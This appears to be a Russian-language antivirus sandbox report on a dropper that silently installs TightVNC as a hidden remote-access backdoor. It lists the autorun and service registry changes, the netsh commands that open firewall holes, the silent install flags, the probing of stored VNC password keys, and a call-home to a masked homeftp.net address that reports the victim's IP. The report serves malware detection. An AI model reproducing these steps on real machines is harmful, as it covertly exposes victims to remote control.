Техническая информация
Для обеспечения автозапуска и распространения:
Модифицирует следующие ключи реестра:
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'WinVNC' = '"%PROGRAM_FILES%\TightVNC\WinVNC.exe" -servicehelper'
- [<HKLM>\SOFTWARE\Classes\VncViewer.Config\shell\open\command] '' = '"%PROGRAM_FILES%\TightVNC\vncviewer.exe" -config "%1"'
Создает следующие сервисы:
- [<HKLM>\SYSTEM\ControlSet001\Services\DevService] 'Start' = '00000002'
- [<HKLM>\SYSTEM\ControlSet001\Services\winvnc] 'Start' = '00000002'
Вредоносные функции:
Для обхода брандмауэра удаляет или модифицирует следующие ключи реестра:
- [<HKLM>\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List] '%PROGRAM_FILES%\TightVNC\WinVNC.exe' = '%PROGRAM_FILES%\TightVNC\WinVNC.exe:*:Enabled:WinVNC'
- [<HKLM>\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile\AuthorizedApplications\List] '%PROGRAM_FILES%\TightVNC\WinVNC.exe' = '%PROGRAM_FILES%\TightVNC\WinVNC.exe:*:Enabled:WinVNC'
Создает и запускает на исполнение:
- '%PROGRAM_FILES%\TightVNC\DevService.exe'
- '%PROGRAM_FILES%\TightVNC\WinVNC.exe' -silent -reinstall
- '%PROGRAM_FILES%\TightVNC\WinVNC.exe' -service
- '<Текущая директория>\tightvnc-1.3.10-setup.exe' /sp- /verysilent
- '%TEMP%\is-9QB2P.tmp\tightvnc-1.3.10-setup.tmp' /SL5="$300DE,1174377,53248,<Текущая директория>\tightvnc-1.3.10-setup.exe" /sp- /verysilent
- '<Текущая директория>\mexplor.exe' /url:http://se######ogin.homeftp.net/cgi-bin/wctrlog.cgi?ip########################################################### /quiet:10000
Запускает на исполнение:
- '<SYSTEM32>\net1.exe' start DevService
- '<SYSTEM32>\ping.exe' -4 -n 1 "CRNJEUFU"
- '<SYSTEM32>\netsh.exe' firewall add allowedprogram program="%PROGRAM_FILES%"\TightVNC\WinVNC.exe name=WinVNC mode=ENABLE scope=ALL profile=ALL
- '<SYSTEM32>\sc.exe' config DevService start= auto
- '<SYSTEM32>\sc.exe' config winvnc start= auto
- '<SYSTEM32>\net1.exe' start winvnc
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="WinVNC" dir=out program="%PROGRAM_FILES%"\TightVNC\WinVNC.exe action=allow
- '%WINDIR%\regedit.exe' /S properties.reg
- '%WINDIR%\explorer.exe' <Текущая директория>
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\1.tmp\vnc-silent-install-n-run-w-properties.bat" "
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="WinVNC" dir=in program="%PROGRAM_FILES%"\TightVNC\WinVNC.exe action=allow
- '<SYSTEM32>\find.exe' /I "WinVNC.exe"
- '<SYSTEM32>\tasklist.exe'
Ищет ветки реестра, отвечающие за хранение паролей сторонними программами:
- [<HKCU>\Software\ORL\WinVNC3]
- [<HKLM>\SOFTWARE\ORL\WinVNC3]
Изменения в файловой системе:
Создает следующие файлы:
- %PROGRAM_FILES%\TightVNC\Web\logo\is-VQLCJ.tmp
- %PROGRAM_FILES%\TightVNC\Web\logo\is-N5KA3.tmp
- %PROGRAM_FILES%\TightVNC\Web\logo\is-LH0IT.tmp
- %PROGRAM_FILES%\TightVNC\Web\images\is-ODNVL.tmp
- %PROGRAM_FILES%\TightVNC\Web\images\is-HP5FL.tmp
- %PROGRAM_FILES%\TightVNC\Web\images\is-75JDU.tmp
- %PROGRAM_FILES%\TightVNC\Web\logo\is-ODU97.tmp
- %PROGRAM_FILES%\TightVNC\Web\logo\is-M94U2.tmp
- %PROGRAM_FILES%\TightVNC\Web\doc\win32\is-6VER6.tmp
- %PROGRAM_FILES%\TightVNC\Web\doc\win32\is-4QT95.tmp
- %PROGRAM_FILES%\TightVNC\Web\logo\is-D4SC3.tmp
- %PROGRAM_FILES%\TightVNC\Web\logo\is-4IAQM.tmp
- %PROGRAM_FILES%\TightVNC\Web\logo\is-53J4S.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-KTNVK.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-1OD00.tmp
- %PROGRAM_FILES%\TightVNC\Web\images\is-UEEI5.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-394N9.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-TPBJK.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-00A6J.tmp
- %PROGRAM_FILES%\TightVNC\Web\images\is-98OU8.tmp
- %PROGRAM_FILES%\TightVNC\Web\images\is-886OB.tmp
- %PROGRAM_FILES%\TightVNC\Web\images\is-0I4UD.tmp
- %PROGRAM_FILES%\TightVNC\Web\images\is-C54NT.tmp
- %PROGRAM_FILES%\TightVNC\Web\images\is-G21GS.tmp
- %PROGRAM_FILES%\TightVNC\Web\images\is-KART9.tmp
- %PROGRAM_FILES%\TightVNC\Web\images\is-82L7J.tmp
- %PROGRAM_FILES%\TightVNC\Web\doc\java\is-B3TS9.tmp
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\Documentation\Licensing Terms.lnk
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\Documentation\Make a Donation.lnk
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\Documentation\TightVNC Web Site.lnk
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\Administration\Show Default Settings.lnk
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\Documentation\About VNC and TightVNC.lnk
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\Documentation\Installation and Getting Started.lnk
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\Documentation\What's New (Summary).lnk
- %PROGRAM_FILES%\TightVNC\DevserStop.bat
- %PROGRAM_FILES%\TightVNC\mexplor.exe
- %PROGRAM_FILES%\TightVNC\unins000.dat
- %PROGRAM_FILES%\TightVNC\shakhpel.exe
- %PROGRAM_FILES%\TightVNC\DevService.exe
- %PROGRAM_FILES%\TightVNC\Web\doc\man\is-NHT3T.tmp
- %PROGRAM_FILES%\TightVNC\Web\doc\man\is-43TV8.tmp
- %PROGRAM_FILES%\TightVNC\Web\doc\unix\is-HBFV4.tmp
- %PROGRAM_FILES%\TightVNC\Web\doc\man\is-P52U4.tmp
- %PROGRAM_FILES%\TightVNC\Web\doc\man\is-GPEIK.tmp
- %PROGRAM_FILES%\TightVNC\Web\doc\man\is-FRCH9.tmp
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\Launch TightVNC Server.lnk
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\Administration\Install VNC Service.lnk
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\Administration\Remove VNC Service.lnk
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\Administration\Run Service Helper.lnk
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\Show User Settings.lnk
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\TightVNC Viewer.lnk
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\Uninstall TightVNC.lnk
- %PROGRAM_FILES%\TightVNC\Web\is-4M98S.tmp
- %PROGRAM_FILES%\TightVNC\is-Q5M00.tmp
- %PROGRAM_FILES%\TightVNC\is-RG20L.tmp
- %PROGRAM_FILES%\TightVNC\is-6BAF6.tmp
- %PROGRAM_FILES%\TightVNC\is-FSD2Q.tmp
- %PROGRAM_FILES%\TightVNC\is-05031.tmp
- %PROGRAM_FILES%\TightVNC\is-P0U0A.tmp
- %PROGRAM_FILES%\TightVNC\is-TBQG6.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-MJOTE.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-GCEVM.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-MAR54.tmp
- %PROGRAM_FILES%\TightVNC\is-M7FEC.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-1GO3G.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-70B4E.tmp
- <Текущая директория>\mexplor.exe
- <Текущая директория>\properties.reg
- <Текущая директория>\shakhpel.exe
- %TEMP%\1.tmp\vnc-silent-install-n-run-w-properties.bat
- <Текущая директория>\DevserStop.bat
- <Текущая директория>\DevService.exe
- <Текущая директория>\tightvnc-1.3.10-setup.exe
- %TEMP%\is-KLULQ.tmp\_isetup\_RegDLL.tmp
- %TEMP%\is-KLULQ.tmp\_isetup\_shfoldr.dll
- %TEMP%\is-KLULQ.tmp\_isetup\_isdecmp.dll
- <Текущая директория>\vnc-silent-install-n-run-w-properties.bat
- <Текущая директория>\log.txt
- %TEMP%\is-9QB2P.tmp\tightvnc-1.3.10-setup.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-9JL3H.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-A4S7S.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-INOER.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-9B6NU.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-SGI5G.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-95HE8.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-944D4.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-03S4K.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-U54ED.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-0UR48.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-TOCAK.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-FRL08.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-24UNL.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-U4QET.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-KEQ16.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-9BH35.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-V6CA6.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-9VGBR.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-PI06N.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-ORT38.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-8A3VL.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-ASO02.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-B8OF8.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-0O0VD.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-7AG66.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-UK2F3.tmp
- %PROGRAM_FILES%\TightVNC\Web\is-1QG4S.tmp
Удаляет следующие файлы:
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\TightVNC Viewer.lnk
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\Uninstall TightVNC.lnk
- <Текущая директория>\DevserStop.bat
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\Documentation\What's New (Summary).lnk
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\Launch TightVNC Server.lnk
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\Show User Settings.lnk
- <Текущая директория>\DevService.exe
- <Текущая директория>\tightvnc-1.3.10-setup.exe
- <Текущая директория>\vnc-silent-install-n-run-w-properties.bat
- %TEMP%\1.tmp\vnc-silent-install-n-run-w-properties.bat
- <Текущая директория>\mexplor.exe
- <Текущая директория>\properties.reg
- <Текущая директория>\shakhpel.exe
- %TEMP%\is-9QB2P.tmp\tightvnc-1.3.10-setup.tmp
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\Administration\Install VNC Service.lnk
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\Administration\Remove VNC Service.lnk
- %TEMP%\is-KLULQ.tmp\_isetup\_isdecmp.dll
- %TEMP%\is-KLULQ.tmp\_isetup\_RegDLL.tmp
- %TEMP%\is-KLULQ.tmp\_isetup\_shfoldr.dll
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\Administration\Run Service Helper.lnk
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\Documentation\Licensing Terms.lnk
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\Documentation\Make a Donation.lnk
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\Documentation\TightVNC Web Site.lnk
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\Administration\Show Default Settings.lnk
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\Documentation\About VNC and TightVNC.lnk
- %ALLUSERSPROFILE%\Start Menu\Programs\TightVNC\Documentation\Installation and Getting Started.lnk
Перемещает следующие файлы:
- %PROGRAM_FILES%\TightVNC\Web\images\is-G21GS.tmp в %PROGRAM_FILES%\TightVNC\Web\images\viewer-newconn.png
- %PROGRAM_FILES%\TightVNC\Web\images\is-KART9.tmp в %PROGRAM_FILES%\TightVNC\Web\images\winvnc-icon-connected.png
- %PROGRAM_FILES%\TightVNC\Web\images\is-UEEI5.tmp в %PROGRAM_FILES%\TightVNC\Web\images\viewer-newconn-help1.png
- %PROGRAM_FILES%\TightVNC\Web\images\is-98OU8.tmp в %PROGRAM_FILES%\TightVNC\Web\images\viewer-newconn-help2.png
- %PROGRAM_FILES%\TightVNC\Web\images\is-82L7J.tmp в %PROGRAM_FILES%\TightVNC\Web\images\winvnc-icon-disabled-hint.png
- %PROGRAM_FILES%\TightVNC\Web\images\is-C54NT.tmp в %PROGRAM_FILES%\TightVNC\Web\images\winvnc-icon-normal.png
- %PROGRAM_FILES%\TightVNC\Web\images\is-ODNVL.tmp в %PROGRAM_FILES%\TightVNC\Web\images\winvnc-icon-service-hint.png
- %PROGRAM_FILES%\TightVNC\Web\images\is-886OB.tmp в %PROGRAM_FILES%\TightVNC\Web\images\winvnc-icon-disabled.png
- %PROGRAM_FILES%\TightVNC\Web\images\is-0I4UD.tmp в %PROGRAM_FILES%\TightVNC\Web\images\winvnc-icon-ip.png
- %PROGRAM_FILES%\TightVNC\Web\is-TOCAK.tmp в %PROGRAM_FILES%\TightVNC\Web\vncserver.1.html
- %PROGRAM_FILES%\TightVNC\Web\is-4M98S.tmp в %PROGRAM_FILES%\TightVNC\Web\vncviewer.1.html
- %PROGRAM_FILES%\TightVNC\Web\is-U54ED.tmp в %PROGRAM_FILES%\TightVNC\Web\vncconnect.1.html
- %PROGRAM_FILES%\TightVNC\Web\is-0UR48.tmp в %PROGRAM_FILES%\TightVNC\Web\vncpasswd.1.html
- %PROGRAM_FILES%\TightVNC\Web\is-394N9.tmp в %PROGRAM_FILES%\TightVNC\Web\whatsnew.html
- %PROGRAM_FILES%\TightVNC\Web\is-KTNVK.tmp в %PROGRAM_FILES%\TightVNC\Web\winst_id.html
- %PROGRAM_FILES%\TightVNC\Web\is-1OD00.tmp в %PROGRAM_FILES%\TightVNC\Web\Xvnc.1.html
- %PROGRAM_FILES%\TightVNC\Web\is-TPBJK.tmp в %PROGRAM_FILES%\TightVNC\Web\WhatsNew.txt
- %PROGRAM_FILES%\TightVNC\Web\is-00A6J.tmp в %PROGRAM_FILES%\TightVNC\Web\winst.html
- %PROGRAM_FILES%\TightVNC\Web\images\is-HP5FL.tmp в %PROGRAM_FILES%\TightVNC\Web\images\winvnc-menu.png
- %PROGRAM_FILES%\TightVNC\Web\doc\java\is-B3TS9.tmp в %PROGRAM_FILES%\TightVNC\Web\doc\java\README.txt
- %PROGRAM_FILES%\TightVNC\Web\doc\man\is-P52U4.tmp в %PROGRAM_FILES%\TightVNC\Web\doc\man\vncconnect.man
- %PROGRAM_FILES%\TightVNC\Web\doc\win32\is-6VER6.tmp в %PROGRAM_FILES%\TightVNC\Web\doc\win32\BUILDING.txt
- %PROGRAM_FILES%\TightVNC\Web\doc\win32\is-4QT95.tmp в %PROGRAM_FILES%\TightVNC\Web\doc\win32\README.txt
- %PROGRAM_FILES%\TightVNC\Web\doc\man\is-GPEIK.tmp в %PROGRAM_FILES%\TightVNC\Web\doc\man\vncpasswd.man
- %PROGRAM_FILES%\TightVNC\Web\doc\man\is-43TV8.tmp в %PROGRAM_FILES%\TightVNC\Web\doc\man\Xvnc.man
- %PROGRAM_FILES%\TightVNC\Web\doc\unix\is-HBFV4.tmp в %PROGRAM_FILES%\TightVNC\Web\doc\unix\README.txt
- %PROGRAM_FILES%\TightVNC\Web\doc\man\is-FRCH9.tmp в %PROGRAM_FILES%\TightVNC\Web\doc\man\vncserver.man
- %PROGRAM_FILES%\TightVNC\Web\doc\man\is-NHT3T.tmp в %PROGRAM_FILES%\TightVNC\Web\doc\man\vncviewer.man
- %PROGRAM_FILES%\TightVNC\Web\logo\is-N5KA3.tmp в %PROGRAM_FILES%\TightVNC\Web\logo\manager_logo.gif
- %PROGRAM_FILES%\TightVNC\Web\logo\is-LH0IT.tmp в %PROGRAM_FILES%\TightVNC\Web\logo\osxvnc.gif
- %PROGRAM_FILES%\TightVNC\Web\images\is-75JDU.tmp в %PROGRAM_FILES%\TightVNC\Web\images\wiz-tasks.png
- %PROGRAM_FILES%\TightVNC\Web\logo\is-VQLCJ.tmp в %PROGRAM_FILES%\TightVNC\Web\logo\kaboodle.gif
- %PROGRAM_FILES%\TightVNC\Web\logo\is-ODU97.tmp в %PROGRAM_FILES%\TightVNC\Web\logo\projector.gif
- %PROGRAM_FILES%\TightVNC\Web\logo\is-53J4S.tmp в %PROGRAM_FILES%\TightVNC\Web\logo\tux_klein.gif
- %PROGRAM_FILES%\TightVNC\Web\logo\is-M94U2.tmp в %PROGRAM_FILES%\TightVNC\Web\logo\vncrobot.gif
- %PROGRAM_FILES%\TightVNC\Web\logo\is-D4SC3.tmp в %PROGRAM_FILES%\TightVNC\Web\logo\projector20x20.gif
- %PROGRAM_FILES%\TightVNC\Web\logo\is-4IAQM.tmp в %PROGRAM_FILES%\TightVNC\Web\logo\thumbnailviewer.gif
- %PROGRAM_FILES%\TightVNC\Web\is-GCEVM.tmp в %PROGRAM_FILES%\TightVNC\Web\contribute.html
- %PROGRAM_FILES%\TightVNC\Web\is-MAR54.tmp в %PROGRAM_FILES%\TightVNC\Web\docs.html
- %PROGRAM_FILES%\TightVNC\Web\is-70B4E.tmp в %PROGRAM_FILES%\TightVNC\Web\bugs.html
- %PROGRAM_FILES%\TightVNC\Web\is-MJOTE.tmp в %PROGRAM_FILES%\TightVNC\Web\contact.html
- %PROGRAM_FILES%\TightVNC\Web\is-9JL3H.tmp в %PROGRAM_FILES%\TightVNC\Web\donate.html
- %PROGRAM_FILES%\TightVNC\Web\is-ORT38.tmp в %PROGRAM_FILES%\TightVNC\Web\edev.jpg
- %PROGRAM_FILES%\TightVNC\Web\is-KEQ16.tmp в %PROGRAM_FILES%\TightVNC\Web\emnt.jpg
- %PROGRAM_FILES%\TightVNC\Web\is-9VGBR.tmp в %PROGRAM_FILES%\TightVNC\Web\donate.jpg
- %PROGRAM_FILES%\TightVNC\Web\is-PI06N.tmp в %PROGRAM_FILES%\TightVNC\Web\download.html
- %PROGRAM_FILES%\TightVNC\is-P0U0A.tmp в %PROGRAM_FILES%\TightVNC\VNCHooks.dll
- %PROGRAM_FILES%\TightVNC\is-Q5M00.tmp в %PROGRAM_FILES%\TightVNC\vncviewer.exe
- %PROGRAM_FILES%\TightVNC\is-FSD2Q.tmp в %PROGRAM_FILES%\TightVNC\unins000.exe
- %PROGRAM_FILES%\TightVNC\is-05031.tmp в %PROGRAM_FILES%\TightVNC\WinVNC.exe
- %PROGRAM_FILES%\TightVNC\is-RG20L.tmp в %PROGRAM_FILES%\TightVNC\README.txt
- %PROGRAM_FILES%\TightVNC\is-M7FEC.tmp в %PROGRAM_FILES%\TightVNC\TightVNC-donate.url
- %PROGRAM_FILES%\TightVNC\Web\is-1GO3G.tmp в %PROGRAM_FILES%\TightVNC\Web\brpixel.jpg
- %PROGRAM_FILES%\TightVNC\is-6BAF6.tmp в %PROGRAM_FILES%\TightVNC\LICENCE.txt
- %PROGRAM_FILES%\TightVNC\is-TBQG6.tmp в %PROGRAM_FILES%\TightVNC\TightVNC.url
- %PROGRAM_FILES%\TightVNC\Web\is-9BH35.tmp в %PROGRAM_FILES%\TightVNC\Web\faq.html
- %PROGRAM_FILES%\TightVNC\Web\is-A4S7S.tmp в %PROGRAM_FILES%\TightVNC\Web\roadmap.html
- %PROGRAM_FILES%\TightVNC\Web\is-INOER.tmp в %PROGRAM_FILES%\TightVNC\Web\screenshots.html
- %PROGRAM_FILES%\TightVNC\Web\is-95HE8.tmp в %PROGRAM_FILES%\TightVNC\Web\release-1.3.10.html
- %PROGRAM_FILES%\TightVNC\Web\is-944D4.tmp в %PROGRAM_FILES%\TightVNC\Web\rfe.html
- %PROGRAM_FILES%\TightVNC\Web\is-9B6NU.tmp в %PROGRAM_FILES%\TightVNC\Web\sitemap.html
- %PROGRAM_FILES%\TightVNC\Web\is-24UNL.tmp в %PROGRAM_FILES%\TightVNC\Web\tightvnc-logo.jpg
- %PROGRAM_FILES%\TightVNC\Web\is-U4QET.tmp в %PROGRAM_FILES%\TightVNC\Web\tightvnc.css
- %PROGRAM_FILES%\TightVNC\Web\is-03S4K.tmp в %PROGRAM_FILES%\TightVNC\Web\support.html
- %PROGRAM_FILES%\TightVNC\Web\is-FRL08.tmp в %PROGRAM_FILES%\TightVNC\Web\supporters-terms.html
- %PROGRAM_FILES%\TightVNC\Web\is-7AG66.tmp в %PROGRAM_FILES%\TightVNC\Web\larrow.jpg
- %PROGRAM_FILES%\TightVNC\Web\is-UK2F3.tmp в %PROGRAM_FILES%\TightVNC\Web\ldot.jpg
- %PROGRAM_FILES%\TightVNC\Web\is-V6CA6.tmp в %PROGRAM_FILES%\TightVNC\Web\index.html
- %PROGRAM_FILES%\TightVNC\Web\is-8A3VL.tmp в %PROGRAM_FILES%\TightVNC\Web\intro.html
- %PROGRAM_FILES%\TightVNC\Web\is-1QG4S.tmp в %PROGRAM_FILES%\TightVNC\Web\lists.html
- %PROGRAM_FILES%\TightVNC\Web\is-0O0VD.tmp в %PROGRAM_FILES%\TightVNC\Web\powered_kagi_150x30.gif
- %PROGRAM_FILES%\TightVNC\Web\is-SGI5G.tmp в %PROGRAM_FILES%\TightVNC\Web\related.html
- %PROGRAM_FILES%\TightVNC\Web\is-ASO02.tmp в %PROGRAM_FILES%\TightVNC\Web\md5sums.txt
- %PROGRAM_FILES%\TightVNC\Web\is-B8OF8.tmp в %PROGRAM_FILES%\TightVNC\Web\othersites.html
Сетевая активность:
Подключается к:
- 'localhost':5900
- 'se######ogin.homeftp.net':80
- 'localhost':1039
TCP:
Запросы HTTP GET:
- se######ogin.homeftp.net/cgi-bin/wctrlog.cgi?ip####################################################
UDP:
- DNS ASK se######ogin.homeftp.net
Другое:
Ищет следующие окна:
- ClassName: 'MS_AutodialMonitor' WindowName: '(null)'
- ClassName: 'MS_WebcheckMonitor' WindowName: '(null)'
- ClassName: 'RegEdit_RegEdit' WindowName: '(null)'
- ClassName: 'Shell_TrayWnd' WindowName: '(null)'
- ClassName: '' WindowName: '(null)'
